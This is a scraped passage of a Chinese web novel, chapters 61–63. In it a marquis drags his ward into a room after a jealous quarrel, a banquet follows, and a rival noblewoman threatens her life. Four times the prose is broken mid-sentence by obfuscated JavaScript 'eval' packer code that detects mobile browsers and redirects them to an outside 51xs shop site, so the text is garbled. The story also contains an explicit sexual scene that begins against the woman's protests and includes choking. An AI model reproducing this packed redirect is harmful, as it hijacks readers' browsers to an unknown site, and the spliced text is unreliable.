数米外，不知何时站着一名精壮男子，身上似乎是侯府护卫武袍，但细节上又有所不同，纹路更加气派，用料也更讲究，地位应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991751|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比寻常护卫高出很多。 此人不知道站在那处多久了，他竟然一点都没发觉。 “玉姑娘，”福明只觉得自己呼吸困难，压着声，“您应该回席上了。” “……主子，差我来寻您。” 程有立在这突如其来的状况下有些迷茫，转首看向身后的人，发现她的脸色竟然极为苍白。 顿时皱起眉，下意识地挡在她身前，阻挡住花树旁护卫的视线。 福明盯着不远处的青衫举子，心中狠捏了把汗，几乎想上前给他一脚。 作死的蠢货！ “姑娘——”他上前两步，再唤。 玉怜脂还是沉默，双臂环抱着花束站在原地，很明显的紧张防备姿态。 程有立看看身后，一咬牙，朝数米外的人扬声：“这位……护卫大哥，玉姑娘方才说再采些花就回去，何必急在一时。” 福明看着他，像是在看一个死人：“你是大夫人请进来的举人？不知是哪一位。” 程有立：“是，敝姓程。” “既然是来赴宴，程举人怎好在花林中耽搁太久，这也不合侯府规矩。”福明冷声。 程有立一滞，有些犹豫，但还是没有动身。 “程郎君。”轻细的声音从背后响起。 他转过身，只看见她垂着头。 玉怜脂抱紧怀中的花，低声：“外头开席了，你去吧。算时辰，我也要回婶婶身边了。” 福明听见她的话，暗暗松了口气，但也只是一瞬。 话说到这份上，程有立没有任何留下的理由。 手足无措片刻，最后只能朝她行了一礼，一步三回头，恋恋不舍地离开。 书生背影彻底消失，福明才快步上前，急得差点破音：“姑娘，您怎么能——” 玉怜脂却猛地抬起头，用尽力气，把怀中的花朝他狠狠砸去。 福明吓了一跳，但面前的人却不给他反应的机会，转身就疾步遁入花林更深处。 “姑娘！姑娘！”福明在后头焦急喊叫，想要跟上，又回头手忙脚乱捡着那堆花枝。 玉怜脂越走越快，到最后小跑起来，落花坠了满身，袖角被树枝勾着划破，但她顾不上，朝出林子的方向跑。 眼睛被抑制不下的泪水弄得什么都看不清，她喘着气，抬手胡乱擦泪。 腰间猛地被一只坚硬手臂拦住，以不容抗拒的力道瞬间把她拉向另一侧。 不需要回头，她也能认出来是谁。 玉怜脂尖叫着推他锁在她腰间的手，泪越流越凶：“放开，放开！你放开我！” 她看不见身后人的眼，里头是往昔面对她时从未有过的暴虐与狂怒。 又一只大掌从背后伸过来，牢牢捂在了她的唇上，堵住她所有呼喊。 她无力挣脱，被半搂半抱着，拖向花林最边缘，那里有一座不常使用的小院，建造时用作夏日园林避暑，有下人定期打扫，但位置太偏，少有主子来。 久未开启的房门被男人一脚踹开，女娘柔软的裙边已经在挣扎中凌乱，飞速划过门槛。 再一声巨响，门重重阖上。 61. 纠缠 这间最靠近院门的屋子是背光的，房里又没有点烛火，虽然是白天，但关了门，只剩透过窗纸的微薄日光能用以照明，昏暗一片。 玉怜脂拼了全身的力气在男人怀里挣扎，还是只能眼睁睁看着他把她拖进了这间陌生的寝房里。 谢砚深把她扔到窗边的罗汉榻上，没给她撑身起来的机会，轻而易举把她的身子翻过来，随即紧贴着压了上去。 他的力气、身量都比她强悍出太多，以至于她没有任何脱身的可能。 玉怜脂手臂疯了一样挥动，推打着他的脸、胸膛，掌心抵住他的肩膀用力地想要挣开他，甚至抬腿狠狠踹在他身上。 然而下一刻就被他捉住强行分开，最后只能在男人腰侧不断扑腾着，绣鞋也掉在地上。 手被他制住，细瘦的腕扣在男人的掌心里，如同蒲草芦苇，轻而易举就能摧折。 “你滚，你滚！”她哭着斥骂他，几乎喘不上气， “混蛋，不要脸……！我不要你，我不要你了！你滚开！” 谢砚深盯着她，脸上没有表情，但眼睛里是赤红的，声音也哑了，冰冷至极：“不要我，那你要谁，那个举子？” “云山观里你折给我的梅，我一直留着，你去书房日日都瞧得见，如今你又把同样的招数用在别的人身上，是不是但凡和你在林子里独处的，你全都要留情？” “五日前你还在我的榻上，这两月你与我同眠之时，连小衣都不曾穿，今日只见了外头那些人一面，你就都忘了？” “怎么，你就这么急不可耐？” 他说话时一如往常，语气不曾因为怒意凌乱，字字句句都无比清晰。 但正因如此，刺得人的心窝更加疼痛。 他分明在讽骂她水性杨花，不守妇道。 玉怜脂的脸色变得惨白，甚至停止了挣扎，眼中是迷茫的苦痛与难以置信。 谢砚深看着她灰暗下来的眼神，眯起眼，刚要继续开口，身下的人发出泣声。 “……你凭什么？”玉怜脂流着泪，“你凭什么这么说我？” “我急不可耐？那你呢？” 她声音颤抖：“和亲兄长认下的干侄女滚上床榻厮混的滋味如何？” 男人瞳孔紧缩，额边突起青筋。 玉怜脂边哭边笑，胸前剧烈起伏着：“侯爷位高权重，要什么样的女人没有，怎么为了我这样不安于室的卑贱女子生气呢？” “都说妻不如妾，妾不如偷，看来你是舍不下和我背着所有人合-奸的快活，对吗？” “深，叔。” 说到最后，她的牙齿在打战，声嘶力竭。 “你知道你在说什么吗？”谢砚深猛地抬手，狠狠钳住她的下颌。 玉怜脂忍着痛，笑得比哭还难看：“我说错了吗？” “若是我想错了，那你现在就放我走啊，”她回视他要吃人一样的眼神，泪水停不下来，哭斥， “我是淫-娃荡-妇，你是正人君子，我朝三暮四，你刚直不阿，那你还绑我到这里来做什么？” “我早传了信，与你恩断义绝，我祸害不了你了，你还有什么不满意？我招我的夫婿，又和你有什么关系！” 气氛刹那间死寂，片刻，男人忽然冷笑一声。 “你给我传那封信，就是为了今天？”他的目光越来越阴沉，“你一早就打定主意，会舍我而去，是也不是？” “你从一开始，就没有打算留下来。” 几乎是咬牙切齿，像是想要剜她的心来看一看。 “怜娘，你根本从未真正将我放在心上。”他压制她的力道更加沉重。 玉怜脂心头猛地一颤，唇轻动两下，强行控制着眼神不要闪躲：“……那你想我如何？” “不成婚，将来做你见不得人的外室妇人？” “除非你现在杀了我，否则我出了这个房门，立刻回西院，和滨叔说我定下了夫婿人选！” 谢砚深额边一跳：“你敢——” “我为什么不敢？我不是你的女奴，由得你想如何摆布就如何摆布，”她眸中没有光彩，只有伤心，眼尾通红，疯了一样激怒他， “你今日可以搅乱弄走一个举子，但明日，后日，大后日——多的是男人让我挑，我就是喜欢招外头的男子，我还要招五六七八个，加在一块，不见得比你差……” 她的话还没有说完，脖颈被猛地掐住，阻断她诛心言语，瞬间窒息的感受让她面露痛苦。 “闭嘴。”男人寒声掷下两个字。 下一秒，把她整个人托着抱起来。 玉怜脂眼前昏眩，天地倒转，身体像轻飘飘的纸鸢，被强行操控着，再回神时，仰面只看得见陌生的床帐。 罗裙裙摆堆到了腰间，寒凉忽地袭来，榻下有轻软物什落地的声响。 她慌了，被压下的手又继续猛烈挣动，身体也想要弹动起来：“不要，不要！” 突然，她的动作又如被水浇灭的炭火一般熄下来，不受控制打了个寒颤。 粉汗湿吴绫，玉钗敲枕棱。 男人的左手锁住她的双腕，而右手，已经掩在层叠的柔粉之下。 不给她反应的时间，腕向下沉，陷入淤沼。 花心轻拆，露滴牡丹开。 玉怜脂瞬间惊出吟喘，眼眸蒙上一层迷离的薄雾。 这些日子，她和他孽海情天纠缠许久，身上所有不能轻动之处，他全都知晓。 晕眩迷乱与愠怒之下，她呼吸困难，也不再叫喊，身体动作还在努力抗拒。 手腕挣动着，十指弯曲，染着蔻丹的甲尖不停划在他压制她的左手手腕。 武将的手一如既往有力，热极，布满糙硬的旧疤与茧，力道悍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991752|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠。 她挠他也毫不留情，在他腕上划出道道红痕。 汗光珠点点，发乱绿松松。 … 蛾腰不自觉间起落，脸颊因为喘不上气，染上不正常的红。 残存的理智告诉她应该怒骂他，让他滚开，不能在他面前这般难堪，落入下风。 但她开不了口，不间断涌上来的极致酉禾麻正在侵入她的神智，妙外不容言语状，娇时偏向眼眉知。 最细嫩的髀软无法自控地颤抖。 眼前充盈的混乱光晕之中，仿佛看见被硬铁撬弄的水蚌，外壳撬开，蚌肉微颤着夹紧行凶之物。 抵触，却忍不住来回厮磨。 谢砚深贴着她的耳畔，流连在她耳后最靠近发缘的地方。 在她终于咬不住唇瓣哭着叫出一声时，他松开了她的手腕。 玉怜脂几乎是下意识地伸手往难受的地方，很快掐住他坚实的小臂。 下一刻，男人的长指扪合一处。 乐处疏通迎刃剑，浙机流转走盘珠。 只一瞬间，她崩溃叫喊出来，泪水决堤，腰后裙纱霎时悬空，张开的小口被趁机封住，交勾绵腻。 … 细密粘着的声响慢慢停住，男人的大掌将她的裙摆复又扯好，抚平堆起的褶皱。 手撑在她脑袋两侧，目光像一张密网，捕捉着她每一寸肌肤。 玉怜脂微阖着眼，身体还在时不时抽搐颤抖。 罗裙完好，只最软白的衣料处润腻一片。 腰下伸入一只有力的大掌，轻松将她带起来，转瞬，她已经跨坐在他身上。 谢砚深一手压住她的后脑，一手慢而重抚着她的后背。 “你已经是我的人，今日的事是第一次，也是最后一次，”他沉着声，“如果再有……” 他的话没说完，被她突来的低低哭声打断。 “……你为什么，为什么这样……”她的声音断断续续，害怕，委屈。 她抬手掩住自己的脸，几乎是痛哭：“我哪里对不住你，你为什么要欺负我……！” 谢砚深心中一震，下意识收紧抱着她的手。 玉怜脂却疯了一般捶打他，好半晌，失了力气。 “明明是你，是你怀疑我，是你不想要我，他们都说太夫人要给你定亲了……你可以和别的娘子相看，我为什么不可以……”她鬓发凌乱，满面泪痕，歇斯底里， “你把我当什么……把我当什么?我恨你，我恨你！” 男人的眼睛也红了，用尽力气抱住她：“我没有不要你，我——” “我心悦你。” “我会娶你为妻。” 最后一个字落定时，他像是要把她融进怀中。 在他看不见的另一侧，玉怜脂猛地睁大眼睛，眸中一片茫然。 不知所措。 62. 巧合 关嬷嬷半扶着玉怜脂回到园中心时，正宴已经开了，婢子们端着金碟玉碗流水一般来去。 各家各府按序位逐一入座，不少长随小厮散出去，把还在园中其他处游玩忘了时辰的贵女郎君们请回来。 场面热闹中带着些混乱，故而她回来时并没像刚入园引起太多人注意。 安静走到高大夫人身旁，慢慢坐下。 “你去哪了？”高眉湘斜眼看过来。 在看清她身上装扮时，倏地顿了顿，皱起眉，“你怎么……” 玉怜脂来时穿着芙蓉粉层纱苏绣留仙裙，脖颈上配了一串成色堪称极品的浑圆莹白珍珠链，碧玺银手钏，耳环也用的象牙配点翠，很是惹眼。 结果出去一趟，衣衫首饰竟大不同了。 招摇的颜色换作空青，花纹低调，式样也不再飘逸，而是变成把人裹得严严实实的锦裙，面上明艳妆容消失不见，又恢复了往常的清雅。 整个人从娇丽夺目，调转成柔弱素淡，方才走过来的时候，脚步似乎都比先前虚浮些。 玉怜脂的神色有些恹恹的，像是困倦极了，声音都带上不自知的软懒： “我素日服药后都要换身衣裳的，婶婶不是知道的么。” 先前王老太君寿宴的时候，她也是换了衣衫回席上，说是为了避免药气沾身，味道不好。 高大夫人还是紧蹙眉头盯着她。 眼前的少女正抬起右手，轻轻按揉着自己的太阳穴，眉眼惺忪，擦着口脂的唇角处似乎有一点不平整。 不知道是不是她的错觉，她甚至觉得她面容带着些恍惚迷离。 玉怜脂放下手，回望过去：“婶婶？” “我瞧着，你是困了？”高大夫人微微眯起眼。 玉怜脂缓慢眨了眨眼，轻声：“我用的那药……药性太过凶猛，每回喝完，我都乏得很呢。” 高大夫人犹疑：“你吃的什么药……” 正说话，席上陡然静下来。 两人抬头看去，席间官眷已经纷纷起身，王老太君也站起来，目光全部朝着一个方向。 谢砚深大步走进来，身后，数十名护卫抬着五个半人高的汝窑蟹爪纹天青花盆，盆中栽植之物用绸缎紧实盖着。 行过之时，各府女眷欠身行礼，眼神都忽视后头五盆花木，暗暗定在他身上。 “母亲。”谢砚深走到正座前，稳声问安。 王老太君站着，在他到前，眼神不着痕迹偏向左边，尽头是一道空青纤丽身影。 等他站定了，王老太君移回眼，唇角刚扬起笑，定睛看见他身上衣袍，猛地失声：“你这身衣裳……” 她记得谢砚深今早入园时的外袍分明是祥云暗纹，现下却变了，成了麒麟兽纹，只是外衫颜色式样相差无几，不近身看，还真看不出来。 谢砚深面色不变：“母亲嘱托儿子必须亲手将东西送过来，时间匆促，一路过来，外袍沾了泥土，故而换了提前备下的。” 王老太君眼神微闪，那边的下人说谢砚深回席面上后，她立刻着婆子去给他传话，要他一定亲自把凤羽牡丹送到女宾席上，从传话到他现在过来，中间隔的时间确实有些短。 但是下头那个，偏偏也换了衣裙。 先前这小狐媚和谢砚深同时离席，她就有了戒心。 后来传了园子外的婢子过来，说看见玉怜脂抱着一捧花枝，带着一直伺候她的老妈子，从北面的林子出来，一路咳得厉害，白着脸，径直出园，回了一趟珠玉院。 按时辰算，应该是回去喝药去了。 而谢砚深则是从园中供男宾贵客更衣的地方回来，北边的下人们都说没瞧见他进林子，他归席的时间也比玉怜脂早不少。 可……事情有这么巧？ 谢砚深冷视面前老妇人脸色，沉声：“东西已经送到，母亲若无事，儿子便告退了。” 另一边的男宾席上，一帮文官武将都还在等着。 他作势便要行礼离去。 王老太君立马急了，她让他送花过来，本就是找个借口让他和赵庆姗、梅雁伊都相看一番，如今事情还没办，怎么能让他就这么走了。 脑中狐疑忘了个干净，连忙叫住他：“急什么，没半点礼数。” 他停住脚步，转回身。 王老太君说着，先引着他朝左边：“你眼睛也不知道看到哪去了，你姨母还在这呢。” 谢砚深眉心压下来，看向一旁走上来的安平伯夫人，她后头跟着微红着脸的赵庆姗。 他的目光锐利冰冷，打在两人身上，没有立刻说话。 王老太君看见他这副样子，心里一沉。 安平伯夫人和他目锋对上，不由得手一颤，脑中立刻浮现他重伤赵庆吉后轻描淡写净手的模样。 控制不住地发怵，但笑容维持得很好：“深儿，姨母可是好些日子不见你了。” 赵庆姗则是脸色有些挂不住，掩在袖下的手攥紧帕子，绞动，眼神紧紧贴在他身上。 默然片刻，谢砚深开了口，行礼：“姨母，淑安。” 安平伯夫人笑着点头，手臂往后移，刚想将侧后的赵庆姗牵上来一步， 谢砚深已经冷淡转回了头。 母女两人立时僵在当场。 王老太君在旁边不发一言，暗中叹了口气，随后又让他看向右手侧： “这位是工部主事府的梅大娘子，晋阳水灾献策的梅主事，你总还记得吧？梅大娘子算是长辈，还不快问个安。” 梅夫人却有些惶恐，连忙笑道：“太夫人真是太抬举了。” “雁伊，”她转向身后，“快过来拜见侯爷。” 梅雁伊上前一步，欠身：“见过侯爷。” 举止风姿清然，不卑不亢。 王老太君眼中全是满意，有些期待地转过头，却看见身旁的人表情一丁点变化都没有，冷得像霜。 谢砚深只扫了梅雁伊一眼，随后同向安平伯夫人一样，朝梅夫人也问了一声安。 不等王老太君反应，冷声：“西边席宴也已经开了，儿子再不回去，难免怠慢宾客，儿子告退。” 说罢，直接转身就走，丝毫不顾身后王老太君面容上升起的怒气。 他走出去时，步伐不像来的时候那样快，余光极快捕捉到左侧柔弱身影。 此时她正垂首坐着，微微偏着头。 他目力极佳，即使隔着一小段距离，也看清了她染红的耳垂。 眉心顿时舒展些许，提快步子，带着护卫离开。 … 赵庆姗怔愣站在原地，目光跟随着男人背影，直到消失。 许久，呆呆地任由身旁的安平伯夫人把她拉着坐下来。 鼻尖已经开始酸楚。 表哥……当真对她毫无情意…… 可她看得清楚，他对那个梅小姐也并不喜爱。 那他钟意什么样的女子？ 她就算不是，也可以装的。 思绪混乱如麻，忽地，一声轻咳穿过又繁杂起来的谈笑声，像一条从汹涌波涛里跃起的小鱼，突兀钻入她耳中。 赵庆姗转头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991753|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看去，一张带着些许病弱苍白的柔美面容映入眼帘。 她微微睁大眼，脑中仿佛响起一道惊雷。 玉怜脂拿起小杯，缓缓饮着温热清水，锦袖滑下一些，一点红紫痕迹惊现，不到一秒，又消失，快得像是幻觉。 赵庆姗僵硬盯着她，呼吸迟钝起来。 不久前，玉怜脂去北边林子赏花了，回来换了一身衣服。 谢砚深，也换了外袍。 她刚刚没看错的话，谢砚深的右腕内侧，有一道极细的，新鲜的划痕。 像是指甲抓的。 …… 是她想多了吗？ 是吗……？ - 宴席过半，热闹到了高峰，王老太君着人揭开五盆凤羽牡丹的真容。 在场众人无一不是惊叹，因为如今本不是牡丹盛开的时节，但镇北侯府却培育出了五盆难得一见，花边殷红的凤羽白牡丹。 按照花会的惯例，这五盆珍品，侯府会割爱出两盆给夺了最大彩头的宾客，还有两盆贡入宫中。 玉怜脂放下杯盏，兴致并不高。 “婶婶，”她偏首叫身边的高大夫人，“我身子实在不适，想回珠玉院了。” 高大夫人看她一眼，漠然点头。 玉怜脂抬手扶在关嬷嬷小臂上，有些艰难地站起身，悄然离席。 席面另一侧，女郎一袭绣金银朱长裙，眼神冰冷，盯着离席的少女背影。 末了，放下酒樽，站起身。 “大姐姐！”身旁圆眼丰唇，唇下有一颗小痣的女娘叫住她，“你要去哪？” “出来前，我娘说了，让我懂事些，多跟着你……”任凝香低声。 任智妤一言不发，眼神利刀一般，狠狠刺向她。 数秒，任凝香开始有些惊慌。 任智妤这时才冷声道：“别以为讨得些恩惠，从今往后便能一步登天，嗟来之食再好，也是乞讨来的。既然蠢，那就安分些。” 任凝香的脸色霎时惨白。 “记住了吗?”任智妤盯着她，一字一句。 任凝香手都抖起来，半晌，猛地点头，几滴晶莹掉在裙摆上，晕染成点点深色。 面色冰冷的女郎收回眼，向上首的老妇人不咸不淡行了一礼，带着人利落离席。 只留下空座，还有邻座僵直坐着的女娘。 “四，四姑娘。”贴身婢女小心地俯下身，“咱们去清洗一下……?” 任凝香没有回话，低着头，肩背微微抖着，粗喘着气。 没事，没关系的…… 父亲说了，大伯父和承王表哥都需要他们三房继续办那些见不得人的事，他们是一条绳上的蚂蚱。 承王表哥绝对不会亏待她的，就算有大姐姐在，她的侧妃之位也是固若金汤。 将来，她未必不能将大姐姐踩在脚下—— … “姑娘，院子那边已经备好水了，待会回去您沐浴过后便安睡了吧。”关嬷嬷扶着她，轻声劝。 玉怜脂确实也困了，眼睛都有些睁不开，乖乖点头。 两人慢慢走着，过了水上一座小桥，转入池边假山。 正欲行向不远处游廊，一道高挑朱红身影如鬼魅般出现在正前方。 玉怜脂猛地停住脚步，眼中立刻清明，面色如常，但身边关嬷嬷模样已然如临大敌。 “好久不见。”任智妤冷笑。 玉怜脂顿了顿，只是一瞬，扬起温柔的浅笑：“原来是任大姐姐。” “好久不见。” 63. 杀心 园子边缘处的游廊偏僻，正好是护卫们不固守、只时不时巡过来瞧瞧的地方。 任智妤站在游廊另一头，面容一如当初，冰冷傲然中带着日益增长的威严感。 只有眼神中还没能彻底伪饰住的赤裸野心，暴露出她年岁尚轻，还未能完全沉淀下来的事实。 她是得圣旨赐婚的准亲王正妃，虽然还未行大礼，未上玉牒，但身份已然不一般了。 玉怜脂先移动步子，不紧不慢走入廊下，眼神丝毫没有躲闪，和不远处的人交视，微笑着接下一道道锐芒尽显的眼刀。 “上回寿宴一别，再不曾有幸同姐姐一处，没想到今日这样巧，”她站定，规矩地欠身行礼，声音轻柔如春风， “方才在席上不方便，加上我身子有些不适，所以不敢去打扰您和任四姐姐，请姐姐莫要怪我失了礼数。” 任智妤唇角有讽笑，眉心压下，眯起眼：“姐姐？” “我怎不知，有你这么个商门贱户的姊妹。” 目中轻辱毫不掩饰，且她的这份鄙夷并不是那种争执对垒时，人在激动下情绪不自觉放大的恶意。 而是理所当然、天经地义一般的上蔑下、贵恶贱。 明晃晃地踩着玉怜脂的颜面，提醒她尊卑有别。 任智妤话音落下，扶着玉怜脂的关嬷嬷低着头，然而唇已经抿紧，半敛的眼中翻涌着愤恨。 而玉怜脂只是怔了一下，笑容却没有消失。 “……是我的错失。”把手从关嬷嬷处抽回来，竟是重新再行了一次礼，歉疚温声道， “府里太夫人也说我在南边长大，京城里的礼仪规矩难免有所欠缺，回去之后，我定再好好精习。” “还望任大小姐大人不记小人过，原谅我冒犯了。” 完全是以卑下的态度立刻认错，并恭敬小心地致歉。 然而任智妤目中寒意却更加深重。 眼前的这个女子，就像一大团厚重的、泡着水的棉，刀刺进去，不痛不痒，火烧过去，根本点不燃。 格外地难缠。 玉怜脂抬眼看她，轻声：“任大小姐若是无事，请恕我不能相陪了，我身子实在不爽利，若是您需要人指路，再往前走一点便有值守的小厮。” 说罢，复又欠身，表明立刻要离去。 然而在她站直身的一瞬，面前朱裙女郎冷笑着抛出话：“此处只有你我，何必再装模作样。” “我原本以为两江那群都是废物，才让你逃到京城，如今看来，是我想错了，你倒是有几分本事，竟然哄得动镇北侯为你调精兵护行。” “只是不知道下回，你还有没有这么好的运气。”任智妤向前走近两步，盯着面前人的眼眸里是毫不掩饰的杀意。 玉怜脂唇角笑意消失，眼神无措，还有涌起的害怕与震惊：“任……你，你在说什么？” 任智妤眼中闪过一丝厌烦：“已经说到这个份上，你还要继续惺惺作态？” “怎么，难道我捉住的那两个小贼，不是你派来的不成？旁的人或许吃你这一套，但对我可不管用。” “……什么小贼，我真的不知道你在说什么，”少女的声音有些慌乱起来，“我，我要走了……” 她作势就要向右绕过去，但下一刻，左手臂被一只纤长手掌狠狠钳住—— “你做什么……！”关嬷嬷惊叫，立刻要上前拉开，然而任智妤身后的婢女更快一步，且力气极大，将她推搡着拦下。 玉怜脂的手臂被掐得生疼，任智妤的身量比她高一些，偏首压到她耳边。 朱唇轻启：“急什么，我是要和你做一笔交易。” 不等玉怜脂抗拒，她声音阴寒，接着说：“你不是想找丹阳山庄杀你父母的山匪么，我可以把他们都交给你。” 玉怜脂停住了。 任智妤观察她的反应，眼中涌现满意，继续道： “只要你把那两柄刀交给我们，我立刻把那群虎风寨的人都交给你，你想要活的还是死的，都可以。而且，以后再也不会有人追杀你。” 说罢，她松开了钳制她的手，侧首等着她的回应。 玉怜脂站在原地，脸色苍白，目中全是茫然。 看着像是根本没反应过来。 任智妤面无表情，数秒后，再添一把火：“你要知道，我是在给你一个活命的机会。” “当年你父母之事并非我们直接授意，而是那群贼匪自作主张，既然如此，你又何必非要和我们作对，蜉蝣撼树，有何意义。” “交出刀，人随你处置，否则……你可只有一条命能活。” 她说话时，被她盯着的人一直低着头。 等尾音受尽之时，玉怜脂才有了动静。 “任大小姐，你究竟在说些什么？什么刀？”她抬起头，眼睛里已经载满难以置信，“还有，你为什么会知道我爹娘的事？” “当年的丹阳案，原来是护国公府干的？”这回，轮到她反过来逼近任智妤，红着双瞳，死死盯着她，幽声逼问， “一直追杀我的人，也是你们？” “你们为什么要这么做?” “国公府就可以勾结匪徒为了夺财滥杀无辜吗？国公府就可以草菅人命吗？” “任大小姐，你现在，是在对我施恩吗？”咬着牙一字一句，压抑着冲动。 她的神态全然不似作假，突如其来噩耗带来的的愤怒与恨意，声声泣血控诉。 任智妤被她逼得震退一步，瞳中紧缩，想张口，却不知道说什么，思绪竟然控制不住地开始混乱。 这是怎么回事…… 难道哪里出了问题……? 不对，不对。 应该不可能出错的。 那两个被捉住的游侠虽然没吐半个字，可是顺藤摸瓜找到的线索，很多都是指向玉氏。 还有他们的人从两江带回来的消息，柳启彦的人说，找到当时在丹阳河下游沿岸过活的流浪儿，描述玉氏夫妇坠河时的衣着，都说看见那两具紧紧连在一起的尸体被一群人捞走了，而且此后再无踪迹。 捞尸的最有可能就是玉氏之人，否则还有谁会这么做呢。 而且，现在两江那边出的乱子和镇北侯隐约有联系，如果真是镇北侯出手，那他们现在的困境绝对和玉氏女有关系。 不会有错的。 任智妤眼中一定，寒冷杀意升腾到极致：“看来，你真的是不知好歹。” 胸中怒火翻涌，恼恨极方才轻易就被影响到、产生的片刻自疑。 也更清楚认识到，面前的人绝不好对付。 盛怒之下，吐出的话像包裹了游蛇的毒汁：“我给你为你爹娘报仇雪恨的机会，你竟然丝毫不懂珍惜，真是枉为人女。” “让我猜猜，你爹娘死的时候是什么模样？我听说，两江的春天要比京城温热些，在河里泡了这么久，自然是臭了，烂了，你见着的时候，都快认不出了吧？” “他们死得这么惨，你竟然放着真正杀他们的人不管，逃来京城，现在居然还想以卵击石，你说，将来你死了，见到你的好爹娘的时候，他们会不会觉得你蠢得无可救药？” 玉怜脂紧紧抿着唇，眼眶不停滑出泪，像是真的被说中了心坎，又怒又惧。 任智妤并没有罢休，而是言语越发冰冷无情： “我可以再给你几日时间。好好想清楚，想想你能在镇北侯府待到几时。谢氏从不涉党争，谁人不知，你投靠了侯府大房又怎样，你以为，镇北侯真会为了你和我们一直斗下去?商贾贱类，痴心妄想。” “要么，现在就乖乖交出东西，我或许还能留你一命，若不然，你永远别想找到虎风寨的人——你踏出侯府大门的那一日，我立刻送你下去见你那对鬼鸳鸯爹娘。” 尾音落定，任智妤凤目狠厉向她刮去最后一眼，带着婢女拂袖离开。 被拦在数米外的关嬷嬷没了桎梏，跌撞着冲到廊下少女面前：“姑娘……！” 看清楚她表情的一瞬间，猛地一顿。 玉怜脂站在原地，从怀里拿出帕子，慢慢擦着泪，泪水几乎是任智妤走过去的同时就刹住了。 神色非常平静。 擦完泪，她抬头看向屋檐外悬挂的暖阳，黑白分明的眼眸放空，唇角有极淡的弧度，似笑非笑，呼吸十分缓慢，像是在努力适应什么。 关嬷嬷抿紧唇，没有说话，候在一旁。 她是见过她们姑娘这个样子的。 当年，东家和夫人出殡的那天，里应外合要瓜分玉氏家业的那些畜生大闹灵堂，甚至把牌位贡桌都给砸了。 玉怜脂经历了那场混乱，从灵堂出来后，就是这副表情。 ——她的杀心已经到了最顶峰。 - 日晷偏转，未时过后，侯府的热闹开始渐渐息下来。 夜色蒙空之时，飞红园里残留的狼藉也收拾干净，府里各院点起了灯，一切都和往常别无二致，但不知是不是因为有白日花团锦簇的繁华作比，今晚显得格外寂静。 福明踏进飞红园管事小院时，负责值守园子的下人们已经都候着了。 见他过来，领头的连忙上前。 福明斜过去一眼，领头的心领神会，立刻开始说要事。 “……福管事放心，太夫人身边的人几次过来探听，我们都瞒过去了，”领头的小心翼翼， “都是对过说词的，出不了差错。” “那就好，”福明淡淡点头，沉声， “你们要记住，太夫人操持侯府许多年，如今老祖宗多病，不宜劳心劳力，这侯府里，自然不能事事都让她老人家费心。” 说完，面前仆婢们俱是立刻垂首应下。 从那日侯爷惩治润安堂中人开始，这府里， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991754|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就已经隐约变了风向了。 从前侯爷驻守北境，不在京中，好容易回来了，但这两年，侯爷也甚少管府内其他事，毕竟军务已经足够繁忙了。 是以后宅内依旧由太夫人牢牢把控。 但现如今，府里下人们都警醒了。 太夫人再强硬，也硬不过侯府真正的家主。 更何况……说句不恭敬的，太夫人已过花甲，可侯爷却是正当盛年。 背靠大树好乘凉，谁会放着郁葱繁茂的常青树不靠，去靠随时有可能断掉、摇摆不定甚至带刺带毒的藤条呢。 福明满意地点头，又多叮嘱了几句，转身出了小院。 … 寝房内昏暗，外头有隐约鸟鸣。 玉怜脂望着帐顶出神，半晌，将腰间结实沉重的蜜色长臂费力移开，坐起身。 掀开床幔下榻，随手扯了男人的绸袍披在身上，他的衣裳给她穿，尾部都拖在铺地软毯上。 她拿起桌上唯一一盏留着守夜的油灯，走到房里陈设的多宝阁前。 多宝阁用的黄梨木打造，雕刻精美繁复，描金涂漆，有一股奇异的木香。 她举着灯，灯光幽幽，一路照到最右侧，和她锁骨处齐平的那一格，格子里是一个刻着异族文字的镂金盒。 盒盖是开着的，半搭在盒身上，很多私藏的珍品都会这样摆设。 灯光靠近，照清盒中之物。 厚绒上，一把极尽奢华刻造、约莫小臂长的刀静静躺着，刀鞘刀把上都镶满宝石。 